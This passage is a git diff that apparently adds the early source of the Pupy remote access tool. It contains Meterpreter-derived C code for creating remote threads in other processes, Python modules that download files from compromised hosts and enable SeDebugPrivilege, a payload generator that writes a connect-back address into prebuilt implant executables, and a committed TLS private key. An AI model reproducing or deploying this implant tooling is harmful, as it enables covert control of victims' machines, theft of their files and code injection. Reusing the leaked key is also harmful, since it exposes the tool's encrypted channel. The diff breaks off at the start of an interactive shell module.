+ { + pRtlCreateUserThread = (PRtlCreateUserThread)GetProcAddress(GetModuleHandleA("ntdll"), "RtlCreateUserThread"); + if (pRtlCreateUserThread) + { + //dprintf("[REMOTETHREAD] RtlCreateUserThread found at %p, using for backup remote thread creation", pRtlCreateUserThread); + } + } + pRtlCreateUserThreadAttempted = TRUE; + } + + // if at this point we don't have a valid pointer, it means that we don't have this function available + // on the current OS + if (pRtlCreateUserThread) + { + DWORD (WINAPI *fGetThreadId)(HANDLE Thread); + fGetThreadId = (void*)GetProcAddress(GetModuleHandleA("kernel32"), "GetThreadId"); + if(fGetThreadId){ + //dprintf("[REMOTETHREAD] Attempting thread creation with RtlCreateUserThread"); + bCreateSuspended = (dwCreateFlags & CREATE_SUSPENDED) == CREATE_SUSPENDED; + ntResult = pRtlCreateUserThread(hProcess, NULL, bCreateSuspended, 0, 0, 0, (PTHREAD_START_ROUTINE)pvStartAddress, pvStartParam, &hThread, NULL); + SetLastError(ntResult); + + if (ntResult == 0 && pdwThreadId) + { + *pdwThreadId = fGetThreadId(hThread); + } + } + } + else + { + // restore the previous error so that it looks like we haven't done anything else + SetLastError(ERROR_NOT_ENOUGH_MEMORY); + } + } + + return hThread; +} + + diff --git a/client/sources/remote_thread.h b/client/sources/remote_thread.h new file mode 100644 index 00000000..05b4fe2a --- /dev/null +++ b/client/sources/remote_thread.h @@ -0,0 +1,6 @@ +#ifndef _METERPRETER_REMOTE_THREAD_H +#define _METERPRETER_REMOTE_THREAD_H + +HANDLE create_remote_thread(HANDLE hProcess, SIZE_T sStackSize, LPVOID pvStartAddress, LPVOID pvStartParam, DWORD dwCreateFlags, LPDWORD pdwThreadId); + +#endif diff --git a/client/sources/resource_python_manifest.c b/client/sources/resource_python_manifest.c new file mode 100644 index 00000000..93fac5de --- /dev/null +++ b/client/sources/resource_python_manifest.c @@ -0,0 +1,35 @@ + +#ifdef _WIN64 + const char resource_python_manifest[]="\n" +"\n" +"\n" +"\n" +"\n" +"\n" +"\n" +"\n" +"\n" +"\n" +"\n" +"\n" +"\n" +"\n" +"\n"; +#else + const char resource_python_manifest[]="\n" +"\n" +"\n" +"\n" +"\n" +"\n" +"\n" +"\n" +"\n" +"\n" +"\n" +"\n" +"\n" +"\n" +"\n"; +#endif + diff --git a/client/sources/resources/iter_files.py b/client/sources/resources/iter_files.py new file mode 100644 index 00000000..5d8941ee --- /dev/null +++ b/client/sources/resources/iter_files.py @@ -0,0 +1,8 @@ +#!/usr/bin/env python +# -*- coding: UTF8 -*- + +import marshal, zlib +modules = marshal.loads(zlib.decompress(open("library_compressed_string.txt",'rb').read())) +for f in sorted([x for x in modules.iterkeys()]): + print f + diff --git a/client/sources/resources/python27_x64.dll b/client/sources/resources/python27_x64.dll new file mode 100755 index 00000000..4df90748 Binary files /dev/null and b/client/sources/resources/python27_x64.dll differ diff --git a/client/sources/resources/python27_x86.dll b/client/sources/resources/python27_x86.dll new file mode 100755 index 00000000..21f68eae Binary files /dev/null and b/client/sources/resources/python27_x86.dll differ diff --git a/client/sources/thread.c b/client/sources/thread.c new file mode 100644 index 00000000..bd4f4535 --- /dev/null +++ b/client/sources/thread.c @@ -0,0 +1,542 @@ +#include +#include +#include +#include "thread.h" +#ifndef _WIN32 +#include + +int __futex_wait(volatile void *ftx, int val, const struct timespec *timeout); +int __futex_wake(volatile void *ftx, int count); + +#include +#include + +#endif + +// thread.c contains wrappers for the primitives of locks, events and threads for use in +// the multithreaded meterpreter. This is the win32/win64 implementation. + +/*****************************************************************************************/ + +/* + * Create a new lock. We choose Mutex's over CriticalSections as their appears to be an issue + * when using CriticalSections with OpenSSL on some Windows systems. Mutex's are not as optimal + * as CriticalSections but they appear to resolve the OpenSSL deadlock issue. + */ +LOCK * lock_create( VOID ) +{ + LOCK * lock = (LOCK *)malloc( sizeof( LOCK ) ); + if( lock != NULL ) + { + memset( lock, 0, sizeof( LOCK ) ); + +#ifdef _WIN32 + lock->handle = CreateMutex( NULL, FALSE, NULL ); +#else + pthread_mutex_init(lock->handle, NULL); +#endif + } + return lock; +} + +/* + * Destroy a lock that is no longer required. + */ +VOID lock_destroy( LOCK * lock ) +{ + if( lock != NULL ) + { + lock_release( lock ); + +#ifdef _WIN32 + CloseHandle( lock->handle ); +#else + pthread_mutex_destroy(lock->handle); +#endif + + free( lock ); + } +} + +/* + * Acquire a lock and block untill it is acquired. + */ +VOID lock_acquire( LOCK * lock ) +{ + if( lock != NULL ) { +#ifdef _WIN32 + WaitForSingleObject( lock->handle, INFINITE ); +#else + pthread_mutex_lock(lock->handle); +#endif + } +} + +/* + * Release a lock previously held. + */ +VOID lock_release( LOCK * lock ) +{ + if( lock != NULL ) { +#ifdef _WIN32 + ReleaseMutex( lock->handle ); +#else + pthread_mutex_unlock(lock->handle); +#endif + } +} + +/*****************************************************************************************/ + +/* + * Create a new event which can be signaled/polled/and blocked on. + */ +EVENT * event_create( VOID ) +{ + EVENT * event = NULL; + + event = (EVENT *)malloc( sizeof( EVENT ) ); + if( event == NULL ) + return NULL; + + memset( event, 0, sizeof( EVENT ) ); + +#ifdef _WIN32 + event->handle = CreateEvent( NULL, FALSE, FALSE, NULL ); + if( event->handle == NULL ) + { + free( event ); + return NULL; + } +#endif + + return event; +} + +/* + * Destroy an event. + */ +BOOL event_destroy( EVENT * event ) +{ + if( event == NULL ) + return FALSE; + +#ifdef _WIN32 + CloseHandle( event->handle ); +#endif + + free( event ); + + return TRUE; +} + +/* + * Signal an event. + */ +BOOL event_signal( EVENT * event ) +{ + if( event == NULL ) + return FALSE; + +#ifdef _WIN32 + //dprintf( "Signalling 0x%x", event->handle ); + if( SetEvent( event->handle ) == 0 ) { + //dprintf( "Signalling 0x%x failed %u", event->handle, GetLastError() ); + return FALSE; + } +#else + event->handle = (HANDLE)1; + __futex_wake(&(event->handle), 1); +#endif + + return TRUE; +} + +/* + * Poll an event to see if it has been signaled. Set timeout to -1 to block indefinatly. + * If timeout is 0 this function does not block but returns immediately. + */ +BOOL event_poll( EVENT * event, DWORD timeout ) +{ +#ifdef _WIN32 + if( event == NULL ) + return FALSE; + + if( WaitForSingleObject( event->handle, timeout ) == WAIT_OBJECT_0 ) + return TRUE; + + return FALSE; +#else + BOOL result = FALSE; + + // DWORD WINAPI WaitForSingleObject( + // __in HANDLE hHandle, + // __in DWORD dwMilliseconds + // ); + // http://msdn.microsoft.com/en-us/library/ms687032(VS.85).aspx + + if( event == NULL ) + return FALSE; + + if(timeout) { + struct timespec ts; + + // XXX, need to verify for -1. below modified from bionic/pthread.c + // and maybe loop if needed ;\ + + ts.tv_sec = timeout / 1000; + ts.tv_nsec = (timeout%1000)*1000000; + if (ts.tv_nsec >= 1000000000) { + ts.tv_sec++; + ts.tv_nsec -= 1000000000; + } + + // atomically checks if event->handle is 0, if so, + // it sleeps for timeout. if event->handle is 1, it + // returns straight away. + + __futex_wait(&(event->handle), 0, &ts); + } + + // We should behave like an auto-reset event + result = event->handle ? TRUE : FALSE; + if( result ) + event->handle = (HANDLE)0; + + return result; +#endif +} + +/*****************************************************************************************/ + +/* + * Opens and create a THREAD item for the current/calling thread. + */ +THREAD * thread_open( VOID ) +{ + THREAD * thread = NULL; +#ifdef _WIN32 + OPENTHREAD pOpenThread = NULL; + HMODULE hKernel32 = NULL; + + + thread = (THREAD *)malloc( sizeof( THREAD ) ); + if( thread != NULL ) + { + memset( thread, 0, sizeof(THREAD) ); + + thread->id = GetCurrentThreadId(); + thread->sigterm = event_create(); + + // Windows specific process of opening a handle to the current thread which + // works on NT4 up. We only want THREAD_TERMINATE|THREAD_SUSPEND_RESUME access + // for now. + + // First we try to use the normal OpenThread function, available on Windows 2000 and up... + hKernel32 = LoadLibrary( "kernel32.dll" ); + pOpenThread = (OPENTHREAD)GetProcAddress( hKernel32, "OpenThread" ); + if( pOpenThread ) + { + thread->handle = pOpenThread( THREAD_TERMINATE|THREAD_SUSPEND_RESUME, FALSE, thread->id ); + } + else + { + NTOPENTHREAD pNtOpenThread = NULL; + // If we can't use OpenThread, we try the older NtOpenThread function as found on NT4 machines. + HMODULE hNtDll = LoadLibrary( "ntdll.dll" ); + pNtOpenThread = (NTOPENTHREAD)GetProcAddress( hNtDll, "NtOpenThread" ); + if( pNtOpenThread ) + { + _OBJECT_ATTRIBUTES oa = {0}; + _CLIENT_ID cid = {0}; + + cid.UniqueThread = (PVOID)thread->id; + + pNtOpenThread( &thread->handle, THREAD_TERMINATE|THREAD_SUSPEND_RESUME, &oa, &cid ); + } + + FreeLibrary( hNtDll ); + } + + FreeLibrary( hKernel32 ); + } + + return thread; +#else + thread = (THREAD *)malloc( sizeof( THREAD ) ); + + if( thread != NULL ) + { + memset( thread, 0, sizeof(THREAD) ); + + thread->id = gettid(); + thread->sigterm = event_create(); + thread->pid = pthread_self(); + } + return thread; +#endif +} + +#ifndef _WIN32 + +struct thread_conditional { + pthread_mutex_t suspend_mutex; + pthread_cond_t suspend_cond; + int engine_running; + LPVOID (*funk)(void *arg); + THREAD *thread; +}; + +void __thread_cancelled(int signo) +{ + signal(SIGTERM, SIG_DFL); + pthread_exit(NULL); +} + +/* + * This is the entry point for threads created with thread_create. + * + * To implement suspended threads, we need to do some messing around with + * mutexes and conditional broadcasts ;\ + */ + +void *__paused_thread(void *req) +{ + LPVOID (*funk)(void *arg); + THREAD *thread; + + struct thread_conditional *tc = (struct thread_conditional *)(req); + tc->thread->id = gettid(); + + signal(SIGTERM, __thread_cancelled); + + pthread_mutex_lock(&tc->suspend_mutex); + + while(tc->engine_running == FALSE) { + pthread_cond_wait(&tc->suspend_cond, &tc->suspend_mutex); + } + + pthread_mutex_unlock(&tc->suspend_mutex); + + funk = tc->funk; + thread = tc->thread; + free(tc); + + if(event_poll(thread->sigterm, 0) == TRUE) { + /* + * In some cases, we might want to stop a thread before it does anything :/ + */ + return NULL; + } + + return funk(thread); +} +#endif + +/* + * Create a new thread in a suspended state. + */ +THREAD * thread_create( THREADFUNK funk, LPVOID param1, LPVOID param2, LPVOID param3 ) +{ + THREAD * thread = NULL; + + if( funk == NULL ) + return NULL; + + thread = (THREAD *)malloc( sizeof( THREAD ) ); + if( thread == NULL ) + return NULL; + + memset( thread, 0, sizeof( THREAD ) ); + + thread->sigterm = event_create(); + if( thread->sigterm == NULL ) + { + free( thread ); + return NULL; + } + + + thread->parameter1 = param1; + thread->parameter2 = param2; + thread->parameter3 = param3; + +#ifdef _WIN32 + thread->handle = CreateThread( NULL, 0, funk, thread, CREATE_SUSPENDED, &thread->id ); + + if( thread->handle == NULL ) + { + event_destroy( thread->sigterm ); + free( thread ); + return NULL; + } + +#else + // PKS, this is fucky. + // we need to use conditionals to implement this. + + thread->thread_started = FALSE; + + do { + pthread_t pid; + + struct thread_conditional *tc; + tc = (struct thread_conditional *) malloc(sizeof(struct thread_conditional)); + + if( tc == NULL ) { + event_destroy(thread->sigterm); + free(thread); + return NULL; + } + + memset( tc, 0, sizeof(struct thread_conditional)); + + pthread_mutex_init(&tc->suspend_mutex, NULL); + pthread_cond_init(&tc->suspend_cond, NULL); + + tc->funk = funk; + tc->thread = thread; + + thread->suspend_thread_data = (void *)(tc); + + if(pthread_create(&(thread->pid), NULL, __paused_thread, tc) == -1) { + free(tc); + event_destroy(thread->sigterm); + free(thread); + return NULL; + } + // __paused_thread free's the allocated memory. + + } while(0); +#endif + + return thread; +} + +/* + * Run a thread. + */ +BOOL thread_run( THREAD * thread ) +{ + if( thread == NULL ) + return FALSE; + +#ifdef _WIN32 + if( ResumeThread( thread->handle ) < 0 ) + return FALSE; + +#else + struct thread_conditional *tc; + tc = (struct thread_conditional *)thread->suspend_thread_data; + pthread_mutex_lock(&tc->suspend_mutex); + tc->engine_running = TRUE; + pthread_mutex_unlock(&tc->suspend_mutex); + pthread_cond_signal(&tc->suspend_cond); + + thread->thread_started = TRUE; +#endif + return TRUE; +} + +/* + * Signals the thread to terminate. It is the responsibility of the thread to wait for and process this signal. + * Should be used to signal the thread to terminate. + */ +BOOL thread_sigterm( THREAD * thread ) +{ + BOOL ret; + + if( thread == NULL ) + return FALSE; + + ret = event_signal( thread->sigterm ); + +#ifndef _WIN32 + /* + * If we sig term a thread before it's started execution, we will leak memory / not be + * able to join on the thread, etc. + * + * Therefore, we need to start the thread executing before calling thread_join + */ + if(thread->thread_started != TRUE) { + thread_run(thread); + } +#endif + + return ret; +} + +/* + * Terminate a thread. Use with caution! better to signal your thread to terminate and wait for it to do so. + */ +BOOL thread_kill( THREAD * thread ) +{ + if( thread == NULL ) + return FALSE; + +#ifdef _WIN32 + if( TerminateThread( thread->handle, -1 ) == 0 ) + return FALSE; + + return TRUE; +#else + // bionic/libc/bionic/CAVEATS + // - pthread cancellation is *not* supported. this seemingly simple "feature" is the source + // of much bloat and complexity in a C library. Besides, you'd better write correct + // multi-threaded code instead of relying on this stuff. + + // pthread_kill says: Note that pthread_kill() only causes the + // signal to be handled in the context of the given thread; the signal + // action (termination or stopping) affects the process as a whole. + + // We send our thread a SIGTERM, and a signal handler calls pthread_exit(). + + pthread_kill(thread->id, SIGTERM); + return FALSE; +#endif +} + + +/* + * Blocks untill the thread has terminated. + */ +BOOL thread_join( THREAD * thread ) +{ + if( thread == NULL ) + return FALSE; + +#ifdef _WIN32 + if( WaitForSingleObject( thread->handle, INFINITE ) == WAIT_OBJECT_0 ) + return TRUE; + + return FALSE; +#else + if(pthread_join(thread->pid, NULL) == 0) + return TRUE; + + return FALSE; +#endif +} + +/* + * Destroys a previously created thread. Note, this does not terminate the thread. You must signal your + * thread to terminate and wait for it to do so (via thread_signal/thread_join). + */ +BOOL thread_destroy( THREAD * thread ) +{ + if( thread == NULL ) + return FALSE; + + event_destroy( thread->sigterm ); + +#ifdef _WIN32 + CloseHandle( thread->handle ); +#else + pthread_detach(thread->pid); +#endif + + free( thread ); + + return TRUE; +} + diff --git a/client/sources/thread.h b/client/sources/thread.h new file mode 100644 index 00000000..ab007f9e --- /dev/null +++ b/client/sources/thread.h @@ -0,0 +1,118 @@ +#ifndef _METERPRETER_LIB_THREAD_H +#define _METERPRETER_LIB_THREAD_H + +#ifdef _WIN32 + +/*****************************************************************************************/ +// Win32/64 specific definitions... + +typedef struct __UNICODE_STRING +{ + USHORT Length; + USHORT MaximumLength; + PWSTR Buffer; +} _UNICODE_STRING, * _PUNICODE_STRING; + +typedef struct __OBJECT_ATTRIBUTES +{ + ULONG Length; + HANDLE RootDirectory; + _PUNICODE_STRING ObjectName; + ULONG Attributes; + PVOID SecurityDescriptor; + PVOID SecurityQualityOfService; +} _OBJECT_ATTRIBUTES, * _POBJECT_ATTRIBUTES; + +typedef struct __CLIENT_ID +{ + PVOID UniqueProcess; + PVOID UniqueThread; +} _CLIENT_ID, * _PCLIENT_ID; + +typedef HANDLE (WINAPI * OPENTHREAD)( DWORD, BOOL, DWORD ); // kernel32!OpenThread + +typedef DWORD (WINAPI * NTOPENTHREAD)( PHANDLE, ACCESS_MASK, _POBJECT_ATTRIBUTES, _PCLIENT_ID ); // ntdll!NtOpenThread + +/*****************************************************************************************/ + +#else +#include "pthread.h" +#endif // _WIN32 + +typedef struct _LOCK +{ +#ifdef _WIN32 + HANDLE handle; +#else + pthread_mutex_t *handle; +#endif // _WIN32 +} LOCK, * LPLOCK; + +typedef struct _EVENT +{ + HANDLE handle; +} EVENT, * LPEVENT; + +typedef struct _THREAD +{ + DWORD id; + HANDLE handle; + EVENT * sigterm; + LPVOID parameter1; + LPVOID parameter2; + LPVOID parameter3; +#ifndef _WIN32 + void *suspend_thread_data; + pthread_t pid; + int thread_started; +#endif +} THREAD, * LPTHREAD; + +#ifdef __GNUC__ +#define THREADCALL __attribute__((stdcall)) +#else // ! gcc +#define THREADCALL __stdcall +#endif + +typedef DWORD (THREADCALL * THREADFUNK)( THREAD * thread ); + +/*****************************************************************************************/ + +LOCK * lock_create( VOID ); + +VOID lock_destroy( LOCK * lock ); + +VOID lock_acquire( LOCK * lock ); + +VOID lock_release( LOCK * lock ); + +/*****************************************************************************************/ + +EVENT * event_create( VOID ); + +BOOL event_destroy( EVENT * event ); + +BOOL event_signal( EVENT * event ); + +BOOL event_poll( EVENT * event, DWORD timeout ); + +/*****************************************************************************************/ + +THREAD * thread_open( VOID ); + +THREAD * thread_create( THREADFUNK funk, LPVOID param1, LPVOID param2, LPVOID param3 ); + +BOOL thread_run( THREAD * thread ); + +BOOL thread_sigterm( THREAD * thread ); + +BOOL thread_kill( THREAD * thread ); + +BOOL thread_join( THREAD * thread ); + +BOOL thread_destroy( THREAD * thread ); + +/*****************************************************************************************/ + +#endif + diff --git a/pupy/crypto/cert.pem b/pupy/crypto/cert.pem new file mode 100644 index 00000000..f3238c07 --- /dev/null +++ b/pupy/crypto/cert.pem @@ -0,0 +1,22 @@ +-----BEGIN CERTIFICATE----- +MIIDjzCCAnegAwIBAgIJAIK87pAgfXeYMA0GCSqGSIb3DQEBCwUAMF4xCzAJBgNV +BAYTAkZSMQ8wDQYDVQQIDAZGcmFuY2UxETAPBgNVBAcMCGludGVybmV0MQ0wCwYD +VQQKDARQdXB5MQ0wCwYDVQQLDARQdXB5MQ0wCwYDVQQDDARQdXB5MB4XDTE1MDky +MTE5NTI0NFoXDTE2MDkyMDE5NTI0NFowXjELMAkGA1UEBhMCRlIxDzANBgNVBAgM +BkZyYW5jZTERMA8GA1UEBwwIaW50ZXJuZXQxDTALBgNVBAoMBFB1cHkxDTALBgNV +BAsMBFB1cHkxDTALBgNVBAMMBFB1cHkwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAw +ggEKAoIBAQDCALki+F7IVLB3UQO3tAGMJFS5WuDHawhqriEfsIVnG/UQfuQmcGJ1 +FiUhytH82fhbLEUroYXbGQRvEEBZWIPIyOW7Z6BASRgOSKQL8HaE3cgROY09B4Ra +QNmFhowd/XXO1pHm0wYpQ0gnZxZkNkRCT+fD4OP0IepCHf7r/vgMbAILQTFx4zU3 +DdF/2Mcyfvg4uPKio214dZZoo/LnptHo63RHstwb+KmaSGvGBq2Yd7vZRPwjqDR4 +RPYc3O9bJce3W8hFw3hPUhgwxHX8o4nDkWMPnBga8d9aeTIZTMbBVY6G/8HJdp1s +rCoxqB67Dqhnka+qQBO8DHulMXnoQKutAgMBAAGjUDBOMB0GA1UdDgQWBBTGAL40 +Q6MYGSQ5papCCHiqhD8ELzAfBgNVHSMEGDAWgBTGAL40Q6MYGSQ5papCCHiqhD8E +LzAMBgNVHRMEBTADAQH/MA0GCSqGSIb3DQEBCwUAA4IBAQAW0wYlhU4D5X0GKkiZ +p+vGvN3ja/PY+yK9JozKD56eMrmoGk3/105ro+IvliY0EiEKuL6PBNZsCmDwutNZ +2Qk+W8LJJIN8QtGLR+KI2MGKQZGJQrCw1mZVM8sN0hQOViog/20Lk+2dtnMTKHRc +kdmFyWa2zZlPIEANRfs9QjctAjS4UetzbJ+gjeJV45+0xsAjNLXQfmKjbGm8ZWWV +6BisRQ9h+lH+YFnuEV6SLZgMdqVKN+CPiwFI4wnHSEpZR1twk6wlUmM/xrl68aIg +e1rycdex3u2JuDxMqBA2rAcJP1kJfKmRz6FfZBfj1zZYUps2tx6cKn2s/BbgqErK +eXlU +-----END CERTIFICATE----- diff --git a/pupy/crypto/gen.sh b/pupy/crypto/gen.sh new file mode 100644 index 00000000..80a24954 --- /dev/null +++ b/pupy/crypto/gen.sh @@ -0,0 +1,2 @@ +#!/bin/bash +openssl req -new -x509 -keyout server.pem -out cert.pem -days 365 -nodes diff --git a/pupy/crypto/server.pem b/pupy/crypto/server.pem new file mode 100644 index 00000000..c330607e --- /dev/null +++ b/pupy/crypto/server.pem @@ -0,0 +1,28 @@ +-----BEGIN PRIVATE KEY----- +MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDCALki+F7IVLB3 +UQO3tAGMJFS5WuDHawhqriEfsIVnG/UQfuQmcGJ1FiUhytH82fhbLEUroYXbGQRv +EEBZWIPIyOW7Z6BASRgOSKQL8HaE3cgROY09B4RaQNmFhowd/XXO1pHm0wYpQ0gn +ZxZkNkRCT+fD4OP0IepCHf7r/vgMbAILQTFx4zU3DdF/2Mcyfvg4uPKio214dZZo +o/LnptHo63RHstwb+KmaSGvGBq2Yd7vZRPwjqDR4RPYc3O9bJce3W8hFw3hPUhgw +xHX8o4nDkWMPnBga8d9aeTIZTMbBVY6G/8HJdp1srCoxqB67Dqhnka+qQBO8DHul +MXnoQKutAgMBAAECggEAEHJnP6O2xV0IqNThb81+5BagaCZgMAfO6txgSoN4i8k+ ++WsIhIm6jxqVg0viiYEhIPmb05sZ8f0o9xF1ox1x7q+5ai3a1BheRbe60JhOM+1p +bKxoYOgmPFCLIFrLvi8isapXLC5vs0fU8iI3L7+6AbUsfNqv+J53cauBVRiEhujr +aK23EJyY1FrklFGyn/qJKKw89sArg63S4cf1JZ/05xkiVV6sivVjDLnQRjBM3gex +l0SMlHJseudV40AGUwOVeABdijrTTB2CpoMjsSH9wSRN7jCC6sJaqViq9+sMCdXo +IyR+ifisM0yrNC0U19h/v3psbIYlLRUOQDKN5lGIgQKBgQDitzPk867oxUIPT0mq +QV6lD8ySNeGqDFpp2GFaEMcap1lp7Y9LIeqxghN1PZoZ5v29NoxxQNxCFhfo+VHo +vSoECKcEvR3RQkaA24IR41BQcLea/D6lea3KFC/K0ze7y0Pm5bw9Unv3+3pZb0pO +VxAzuV2ldRd2eHzEpn0BJyVraQKBgQDbD86lluqxxL7/mYITdxANtpb3yTnTdrv0 +Xl3scOb4umGAj4qBPFDHhmGz/6SmM2LKKA8sSps/XKfDHQEXzUMRenaU+CKKiE7r +YA0GdZWgBYgtVCDCpuu8RNfbW+vx2uLvRr2iZJW7MQQtPdZ8rF01GKG0vQ67tbpR +8BuWBMXJpQKBgQDIaSSBlnwengkIWZGH5GNSzEWNVf4XAPaHrFRadoxa3mZnAi3y +P5gktBSZRgxMK2pP8cFyd+B8tuUJ+CNU9qsGh9OEl9yc19ZVIDW5tFSR1yIm6iZC +xu4+vVuGEvKomkV6/chJ+PlHPFFqb7uixsm2v3ytv3UvL9EzUO0dsMoeSQKBgQCp +Zdzf8gdFNqaYUyXiVYTlhdfSfxonaz7HJp4s89W4a7BwUQ/DBlhVIpa1MbAqEbyI +JVguYPcSlVzppakttb3yayf95LAZPnUA0QLhhtYQq5Z1rwOyYpASw43EhJ29Jg2t +CKAmTu/2lF3tek89k7B0GbsaX8Rf5ZTSPgGnDcPBPQKBgHNfcTM34Kuqd5taxUEy +kIvgHvLBfOk7PbV3Zsejp1ZZllwTkoxDxDBCkELgZ4jfsXGaJxg9bCYkuDS1Jsg1 +3F/hTvlV79UX+dfPgz9FPY8rzoPZ0ukKONXhO68m7ywQJOdtkBO/lXad93JvSDDy +nntqa2r7P+igcForz17n95Wy +-----END PRIVATE KEY----- diff --git a/pupy/genpayload.py b/pupy/genpayload.py new file mode 100755 index 00000000..1ee8b87a --- /dev/null +++ b/pupy/genpayload.py @@ -0,0 +1,81 @@ +#!/usr/bin/env python +# -*- coding: UTF8 -*- +# --------------------------------------------------------------- +# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu) +# All rights reserved. +# +# Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: +# +# 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. +# +# 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. +# +# 3. Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. +# +# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE +# --------------------------------------------------------------- + +import argparse +import sys +import os.path + +def get_edit_binary(path, host, ip): + binary=b"" + with open(path, 'rb') as f: + binary=f.read() + i=0 + offsets=[] + while True: + i=binary.find(":\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", i+1) + if i==-1: + break + offsets.append(i) + + if not offsets: + raise Exception("Error: the offset to edit IP:PORT have not been found") + elif len(offsets)!=1: + raise Exception("Error: multiple offsets to edit IP:PORT have been found") + + new_host="%s:%s\x00\x00\x00\x00"%(host,ip) + if len(new_host)>100: + raise Exception("Error: host too long") + binary=binary[0:offsets[0]]+new_host+binary[offsets[0]+len(new_host):] + return binary + + +if __name__=="__main__": + parser = argparse.ArgumentParser(description='Process some integers.') + parser.add_argument('-t', '--type', default='exe_x86', help="exe_x86/dll_x86 exe_x64/dll_x64 (default: exe_x86)") + parser.add_argument('-o', '--output', help="output path") + parser.add_argument('-p', '--port', type=int, default=443, help="connect back ip (default:443)") + parser.add_argument('host', help="connect back host") + args=parser.parse_args() + outpath=None + if args.type=="exe_x86": + binary=get_edit_binary(os.path.join("payloads","pupyx86.exe"), args.host, args.port) + outpath="pupyx86.exe" + if args.output: + outpath=args.output + with open(outpath, 'wb') as w: + w.write(binary) + elif args.type=="exe_x64": + binary=get_edit_binary(os.path.join("payloads","pupyx64.exe"), args.host, args.port) + outpath="pupyx64.exe" + if args.output: + outpath=args.output + with open(outpath, 'wb') as w: + w.write(binary) + elif args.type=="dll_x64": + exit("not implemented") + elif args.type=="dll_x86": + exit("not implemented") + pass + else: + exit("Type %s is invalid."%(args.type)) + print "binary generated to %s with HOST=%s"%(outpath,(args.host, args.port)) + + + + + + diff --git a/pupy/modules/__init__.py b/pupy/modules/__init__.py new file mode 100644 index 00000000..e69de29b diff --git a/pupy/modules/download.py b/pupy/modules/download.py new file mode 100644 index 00000000..74b55e45 --- /dev/null +++ b/pupy/modules/download.py @@ -0,0 +1,27 @@ +# -*- coding: UTF8 -*- +from pupylib.PupyModule import * +from rpyc.utils.classic import download +import os +import os.path + +__class_name__="DownloaderScript" + +class DownloaderScript(PupyModule): + """ download a file/directory from a remote system """ + def init_argparse(self): + self.arg_parser = PupyArgumentParser(prog='download', description=self.__doc__) + self.arg_parser.add_argument('remote_file', metavar='') + self.arg_parser.add_argument('local_file', nargs='?', metavar='') + def run(self, args): + remote_file=self.client.conn.modules['os.path'].expandvars(args.remote_file) + rep=os.path.join("data","downloads",self.client.short_name()) + if not args.local_file: + try: + os.makedirs(rep) + except Exception: + pass + args.local_file=os.path.join(rep, os.path.basename(remote_file.replace("\\",os.sep).replace("/",os.sep).rstrip("/\\"))) + self.info("downloading %s ..."%remote_file) + download(self.client.conn, remote_file, args.local_file) + self.success("file downloaded from remote:%s to local:%s"%(remote_file, args.local_file)) + diff --git a/pupy/modules/exit.py b/pupy/modules/exit.py new file mode 100644 index 00000000..c167c1b0 --- /dev/null +++ b/pupy/modules/exit.py @@ -0,0 +1,23 @@ +# -*- coding: UTF8 -*- +from pupylib.PupyModule import * +from pupylib.PupyErrors import PupyModuleError + +__class_name__="ExitModule" + +class ExitModule(PupyModule): + """ exit the client on the other side """ + + def init_argparse(self): + self.arg_parser = PupyArgumentParser(prog="exit", description=self.__doc__) + self.arg_parser.add_argument('--yes', action="store_true", help='exit confirmation') + + def run(self, args): + if args.yes: + try: + self.client.conn.exit() + except Exception: + pass + else: + raise PupyModuleError("Warning: if you do this you will loose your shell. Please conform with --yes to perform this action.") + return "client exited" + diff --git a/pupy/modules/get_info.py b/pupy/modules/get_info.py new file mode 100644 index 00000000..f3f10451 --- /dev/null +++ b/pupy/modules/get_info.py @@ -0,0 +1,17 @@ +# -*- coding: UTF8 -*- +from pupylib.PupyModule import * + +__class_name__="GetInfo" + +class GetInfo(PupyModule): + """ get some informations about one or multiple clients """ + def init_argparse(self): + self.arg_parser = PupyArgumentParser(prog='get_info', description=self.__doc__) + #self.arg_parser.add_argument('arguments', nargs='+', metavar='') + def run(self, args): + infos="" + for k,v in self.client.desc.iteritems(): + if k not in ["conn","id","user","platform"]: + infos+="{:<10}: {}\n".format(k,v) + self.rawlog(infos) + diff --git a/pupy/modules/getprivs.py b/pupy/modules/getprivs.py new file mode 100644 index 00000000..d05db7e9 --- /dev/null +++ b/pupy/modules/getprivs.py @@ -0,0 +1,21 @@ +# -*- coding: UTF8 -*- +from pupylib.PupyModule import * + +__class_name__="GetPrivsModule" + +class GetPrivsModule(PupyModule): + """ try to get SeDebugPrivilege for the current process """ + + def init_argparse(self): + self.arg_parser = PupyArgumentParser(prog="getprivs", description=self.__doc__) + + @windows_only + def is_compatible(self): + pass + + def run(self, args): + #self.client.conn.modules.ctypes.windll.user32.MessageBoxA(None, args.text, args.title, 0) + self.client.load_package("pupwinutils.security", force=True) + self.client.conn.modules["pupwinutils.security"].EnablePrivilege("SeDebugPrivilege") + self.success("SeDebugPrivilege enabled !") + diff --git a/pupy/modules/interactive_shell.py b/pupy/modules/interactive_shell.py new file mode 100644 index 00000000..21425ecd --- /dev/null +++ 